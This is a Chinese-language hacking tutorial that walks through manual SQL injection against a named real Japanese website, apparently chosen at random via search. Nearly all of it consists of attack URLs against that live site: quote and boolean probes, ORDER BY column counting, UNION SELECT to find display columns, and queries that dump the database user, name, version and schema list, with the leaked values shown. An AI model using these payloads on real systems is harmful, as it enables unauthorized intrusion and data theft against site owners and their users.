作者:ice   团队:www.anying.org 转载必须注明。

E-mail:1c30day@gmail.com

 

经过一天的辛苦劳动下班了,实在无聊,QQ上的基友基本都挂机睡觉了。找点乐子打发时间,看了一下2013年OWASP Top Ten Project, Injection排在第一。去了解注入,还是有必要的。
随便google了几个日本网站,发现不少都在注入点,有很多用手工都比较鸡肋,终于找到了一个比较满意的。

0X01 判断是否为注入点

http://henecia.jp/news/detail.php?nid=162’报错,显示MDB2 Error: syntax error
http://henecia.jp/news/detail.php?nid=162+and+1=1显示正常
http://henecia.jp/news/detail.php?nid=162+and+1=2显示异常
判断是注入点

0X02 判断数据库类型

         http://henecia.jp/news/detail.php?nid=162+and+user>0报错,显示MDB2 Error: no such field
         http://henecia.jp/news/detail.php?nid=162+and+version()>0显示正常
         判定是MYSQL数据库

0x03 猜解当前网页的字段数

         采用二分法,逐渐猜解。
       http://henecia.jp/news/detail.php?nid=162+order+by+9
        http://henecia.jp/news/detail.php?nid=162+order+by+10
Order by 9显示正常 ;order 10 显示不正常。说明字段数为9
0x04 爆出当前网页显示位
         http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,2,3,4,5,6,7,8,9–

         显示位为2和3
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。URL后面添加 and+1=2 显示有报错信息,URL后面添加 select+1,2,3,4,5,6,7,8,9 显示正常的网页,使用UNION操作符将后者的显示信息覆盖掉前面报错的信息,这样就能清楚看到显示位了。
 
0x05 爆出数据库基本信息
         http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,concat(user(),0x20,database(),0x20,version()),3,4,5,6,7,8,9–
<ignore_js_op>

用户:henecia@localhost ,数据库名:henecia,数据库版本:5.1.56
可以在显位的位置插入的预设函数;
User() 查看用户  
database()  --查看数据库名称     
Version() --查看数据库版本   
@@datadir --数据库路径
@@version_compile_os--操作系统版本   
system_user() --系统用户名  
current_user()--当前用户名   
session_user()--连接数据库的用户名
         为了显示信息更方便,这里在构造sql查询语句中使用了concat函数,它连接一个或者多个字符串, 有任何一个参数为NULL ,则返回值为 NULL。还有group_concat()和concat_ws(),这些函数的功能不清楚,有必要去了解一下,这里我就不多说了。
0x06 爆出数据库名
         http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,group_concat(distinct+table_schema),3,4,5,6,7,8,9+from+information_schema.columns--

<ignore_js_op>爆出数据库名:information_schema,henecia

相关文章: